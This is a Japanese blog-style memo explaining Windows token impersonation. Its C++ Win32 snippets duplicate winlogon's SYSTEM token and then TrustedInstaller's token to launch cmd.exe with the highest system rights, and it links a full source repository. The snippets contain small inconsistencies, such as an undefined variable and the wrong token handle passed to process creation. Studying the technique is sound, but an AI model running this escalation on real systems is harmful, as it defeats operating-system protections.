トークン偽装(窃取)攻撃の仕組みとコード
トークン偽装(窃取)攻撃について実際のコードと一緒に備忘録として残します。
Windowsのプロセスのアクセス管理はアクセストークンという手法を用いています。
各プロセスにはアクセス権限情報を持ったアクセストークンが割り当てられており、対応する権限があれば複製をすることができます。
トークン偽装攻撃は自プロセスよりも高い権限が付与されたアクセストークンを複製し、
起動するプロセスに割り当てることでWindowsの最高権限であるTrustedInstallerに昇格することを指します。
以下コードはすべてC++で、関数は明記しない限りすべてWin32 APIのものになります。
前提条件
偽装トークンを作成することができるSeImpersonatePrivilege特権が必要です。
Administratorグループのユーザーなら保持しています。
用語の解説
プライマリアクセストークン
ユーザーの権限(セキュリティコンテキスト)が記録されたトークン。
ユーザーが起動するプロセスはプライマリアクセストークンが継承されて付与されます。
偽装トークン
Windowsには仕様として他のユーザーのセキュリティコンテキストを持ったトークンを利用してスレッドを実行することができる機能が提供されています。
これを偽装トークンと呼びます。
偽装トークンを用いることでアクセス制御の処理を簡略することができます。
たとえば、ファイルサーバーがクライアントに対してファイルのアクセス権限をチェックする場合を考えます。
クライアントのセキュリティコンテキストを取得してアクセス権限のチェックを行うよりも、
クライアントのアクセストークンを偽装トークンとして複製してからそのファイルにアクセスすればアクセス権限のチェックをWindowsに委譲することができます。
こうすることで、サーバープログラムはWindowsのアクセス制御の仕組みの変更に対して強くなります。
以下にさらに詳しく説明されています。
https://blog.nflabs.jp/entry/2021/12/20/094644
https://github.com/windows-internals-guide/security/blob/57920913cfe745baf728aa488efa7a5e43dad069/7.4.2.d_偽装.MD
https://github.com/windows-internals-guide/security/blob/57920913cfe745baf728aa488efa7a5e43dad069/7.6.3_強力な特権.MD
昇格までの流れ
- winlogon.exeのアクセストークンを複製
- 現在のスレッドに複製したwinlogon.exeの偽装トークンを付与
- TrustedInstallerサービスの起動
- TrustedInstaller.exeからプライマリトークンを複製
- TrustedInstaller権限でプロセスを起動する
1. winlogon.exeのアクセストークンを複製
Windowsのログオン機能をつかさどるwinlogon.exeはSYSTEM権限で起動されています。
そのため、winlogon.exeにはSYSTEM権限のアクセストークンが紐づけられています。
以下関数を利用してwinlogon.exeのアクセストークンを偽装トークン(TokenImpersonation)としてコピーします。
// winlogon.exeのプロセスのハンドルを取得。(pidはwinlogon.exeのプロセスID)
HANDLE hProcessWinlogon = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
// winlogon.exeのプロセスハンドルからアクセストークンのハンドルを取得
HANDLE hTokenWinlogon;
OpenProcessToken(hProcessWinlogon, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &hTokenWinlogon);
//DuplicateProcessToken関数を使用してして偽装トークンとして複製し、ハンドルを取得。
HANDLE hImpersonationToken;
DuplicateTokenEx(hTokenWinlogon, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TOKEN_TYPE::TokenImpersonation, &hImpersonationToken)
2. 現在のスレッドに複製したwinlogon.exeの偽装トークンを付与
後述するTrustedInstallerサービスを起動するために、複製したSYSTEM権限を持つ偽装トークンを自スレッドに割り当てることでをSYSTEM権限に昇格させます。
// 現在のプロセスのハンドルを取得
HANDLE hCurrentThread = GetCurrentThread();
// 複製したアクセストークンを現在のスレッドに割り当てる。
// hImpersonationTokenには前項で複製したwinlogin.exeのアクセストークンのハンドルが入る
SetThreadToken(&hCurrentThread, hImpersonationToken);
3. TrustedInstallerサービスの起動
TrustedInstallerに昇格するにはTrustedInstaller権限のアクセストークンが付与されているプロセスが必要です。
WindowsのTrustedInstallerサービスはSYSTEM権限で起動することができ、そのプロセスのアクセストークンにはTrustedInstallerの権限が付与されています。
// TrustedInstaller サービスの起動
SC_HANDLE hTrustedInstallerService = OpenServiceW(OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS), L"trustedinstaller", MAXIMUM_ALLOWED);
SERVICE_STATUS_PROCESS lpBuffer = {};
DWORD pcbBytesNeeded;
// サービスの状況を問い合わせ。lpBufferにサービス情報が入り、lpBuffer.dwProcessIdにプロセスIDが格納される。
QueryServiceStatusEx(hTrustedInstallerService, SC_STATUS_PROCESS_INFO, (BYTE*)&lpBuffer, sizeof(ssp), &pcbBytesNeeded)
4. TrustedInstaller.exeからプライマリトークンを複製
起動したTrustedInstaller.exeからプライマリアクセストークンを複製します。
// 前項の処理でlpBuffer.dwProcessIdはTrustedInstaller.exeのプロセスIDを保持しています。
HANDLE hProcessTrustedInstaller = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, lpBuffer.dwProcessId);
// TrustedInstaller.exeのアクセストークン
HANDLE hTruestedInstallerToken;
OpenProcessToken(hProcessTrustedInstaller, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &hTruestedInstallerToken);
// 複製するプライマリトークン
HANDLE hPrimaryToken;
DuplicateTokenEx(hTruestedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TOKEN_TYPE::TokenPrimary, &hPrimaryToken)
5. TrustedInstaller権限でプロセスを起動する
あとは作成するプロセスにTrustedInstallerのプライマリアクセストークンを付与することで、TrustedInstallerに昇格することができます。
// コマンドプロンプト
const LPCWSTR targetExecutable = L"C:\\Windows\\System32\\cmd.exe";
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
// コマンドプロンプトをTrustedInstaller権限のアクセストークンを付与して起動する。
// hTruestedInstallerToken前項で複製したTrustedinstaller.exeのプライマリアクセストークン
CreateProcessWithTokenW(hTruestedInstallerToken, LOGON_NETCREDENTIALS_ONLY, targetExecutable, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
以下のようになれば成功です。
アカウント名が「dev」から「nt authority\system」になっています。
nt authority\systemはSYSTEMレベルの権限をもつ疑似ユーザーです。
まとめ
以上のプロセスでTrustedInstaller権限でプロセスを立ち上げることができます。
全体のソースコードは以下にあります。ダウンロードの際はセキュリティソフトに検知されますのでお気を付けください。
https://github.com/takafumiokamoto/RunAsTrustedInstaller
参考記事
https://devblog.lac.co.jp/entry/20220905
https://book.hacktricks.xyz/v/jp/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
https://blog.nflabs.jp/entry/2021/12/20/094644
また、実装にあたり以下リポジトリを参考にさせていただきました。
https://github.com/wilszdev/GetTrustedInstallerShell
Discussion